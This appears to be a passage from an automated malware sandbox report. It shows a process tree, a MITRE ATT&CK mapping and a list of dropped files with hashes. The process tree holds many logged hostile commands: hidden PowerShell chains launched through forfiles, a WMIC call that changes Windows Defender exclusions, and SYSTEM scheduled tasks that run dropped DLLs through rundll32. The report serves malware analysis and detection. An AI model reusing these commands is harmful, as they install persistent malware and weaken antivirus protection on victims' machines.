                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6808
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6956
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\legBeN.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\PkZiMoT.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    schtasks /END /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\ejoarSI.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\SqHEuIW.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\bSEhaRC.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\OjYZQeA.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6596
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\windefender.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\windefender.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\dtZEjMeL\DJrpUZZ.dll",#1 /GVYdidBkTM 385118
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\dtZEjMeL\DJrpUZZ.dll",#1 /GVYdidBkTM 385118
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6268
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4992

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1059

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PowerShell

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1059.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    System Services

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1569

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Service Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1569.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1548

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Bypass User Account Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1548.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1053

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1548

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Bypass User Account Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1548.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1562

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1562.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Disable or Modify Tools

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1562.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1112

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Subvert Trust Controls

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1553

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Install Root Certificate

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1553.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Credential Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Unsecured Credentials

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1552

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Credentials In Files

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1552.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Credentials in Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1552.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1120

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Query Registry

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1012

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1082

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1497

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Collection

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Data from Local System

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Command and Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Web Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1102

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Impact

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Service Stop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    T1489

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GameService.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 288KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    installg.bat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\Program Files (x86)\GameSyncLink\installg.bat
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 284B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 98370b86626b8fd7a7cac96693348045b081326c49e2421113f49a5ea3588edb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    {85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 2.0MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 51059eaa80e9b3504031c4e357a337a3647be24ae9a00df659c837a9250342ae
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Are.docx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\ProgramData\Are.docx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 11KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    mozglue.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\ProgramData\mozglue.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 593KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nss3.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\ProgramData\nss3.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 2.0MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 187B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 136B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 150B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512
